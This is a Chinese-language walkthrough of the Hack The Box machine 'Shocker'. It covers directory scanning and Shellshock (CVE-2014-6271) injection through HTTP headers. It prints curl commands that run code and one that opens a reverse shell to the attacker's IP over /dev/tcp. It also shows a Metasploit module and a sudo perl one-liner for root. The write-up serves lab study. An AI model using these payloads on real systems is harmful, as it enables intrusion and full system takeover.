Shocker

admin 2025年2月11日00:33:19评论13 views字数 2844阅读9分28秒阅读模式

Shocker

https://app.hackthebox.com/machines/Shocker

受害者ip:10.10.10.56

攻击者ip:10.10.16.3

参考:https://0xdf.gitlab.io/2021/05/25/htb-shocker.html

https://medium.com/%E7%92%BF%E7%9A%84%E7%AD%86%E8%A8%98%E6%9C%AC/htb-shocker-%E9%9D%B6%E6%A9%9F-write-up-608740070059

端口扫描

Shocker

使用工具dirbuster扫描

cgi-bin 是 Common Gateway Interface (CGI) 的缩写目录名,主要用于存放可执行脚本或程序文件。在早期的 Web 服务器环境中,它是一个默认的目录,允许服务器通过 CGI 协议执行服务器端脚本或程序。这些脚本通常用于动态生成内容或处理用户提交的表单

cgi-bin目录是 Web 服务器(如 Apache、Nginx)默认配置用来运行 CGI 脚本的目录。            其中的脚本或程序可以用各种语言编写,如:            Perl            Python            Bash            C/C++            常用于早期动态网站中,例如生成动态网页内容或处理用户输入。            

Shocker

发现cgi-bin目录存在脚本user.sh

Shocker

其他方法扫描

feroxbuster -u http://10.10.10.56 -f -n

使用dirsearch目录扫描发现403的cgi-bin目录,然后使用

ffuf -u http://10.10.11.56/cgi-bin/FUZZ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -c -ic -e .cgi,.sh,.pl,.py

或者

feroxbuster -u http://10.10.10.56/cgi-bin/ -x sh,cgi,pl

dirsearch -u 10.10.10.56/cgi-bin/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e sh,py,pl

Shocker

查看user.sh文件

Content-Type: text/plain            Just an uptime test script               01:43:34 up5:21,0 users,load average: 0.27, 0.15, 0.05            

Shocker

https://www.cvedetails.com/cve/CVE-2014-6271/

CVE-2014-6271广泛存在与GNU Bash 版本小于等于4.3的*inux的系统之中,只要目标服务器开放着与Bash相交互的应用与服务,就有可能成功触发漏洞,获取目标系统当前Bash运行用户相同权限的shell接口

这个漏洞的英文是:ShellShock,中文名是:破壳漏洞

Shocker

nmap验证存在shellshok漏洞,但是执行的命令返回了500

nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/user.sh,cmd=id 10.10.10.56

Shocker

shell方法1:

修改ua头注入payload,成功执行id

Shocker

当然这里并不只us头,Cookie和Refere同样可以利用

Cookie: () { :; }; echo; /bin/bash -c "id"            Referer: () { :; }; echo; /bin/bash -c "id"            

Shocker

Shocker

这里使用命令手动注入会提示500报错curl -H "User-Agent: () { :; }; /bin/bash -c 'id'" http://10.10.10.56/cgi-bin/user.sh

Shocker

添加参数和其他的请求头,让curl能更接近手动请求就可以执行成功

curl -X GET            -H "Host: 10.10.10.56"            -H "User-Agent: () { :; }; echo; /bin/bash -c 'id'"            -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"            -H "Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2"            -H "Accept-Encoding: gzip, deflate, br"            -H "Connection: keep-alive"            -H "Upgrade-Insecure-Requests: 1"            http://10.10.10.56/cgi-bin/user.sh            

Shocker

成功获得shell

curl -X GET            -H "Host: 10.10.10.56"            -H "User-Agent: () { :; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.16.3/1111 0>&1'"            -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"            -H "Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2"            -H "Accept-Encoding: gzip, deflate, br"            -H "Connection: keep-alive" -H "Upgrade-Insecure-Requests: 1"            http://10.10.10.56/cgi-bin/user.sh            

Shocker

shell方法二:

msfconsole            use multi/http/apache_mod_cgi_bash_env_exec            set rhosts 10.10.10.56            set lhost 10.10.16.3            set lport 2222            set TARGETURI /cgi-bin/user.sh            run            

Shocker

Shocker

提权

sudo -l起手

Shocker

搜索perl

https://gtfobins.github.io/gtfobins/perl/

Shocker

获得root权限

sudo /usr/bin/perl -e 'exec "/bin/sh";'            

Shocker

原文始发于微信公众号(王之暴龙战神):Shocker

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月11日00:33:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Shockerhttp://cn-sec.com/archives/3663399.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息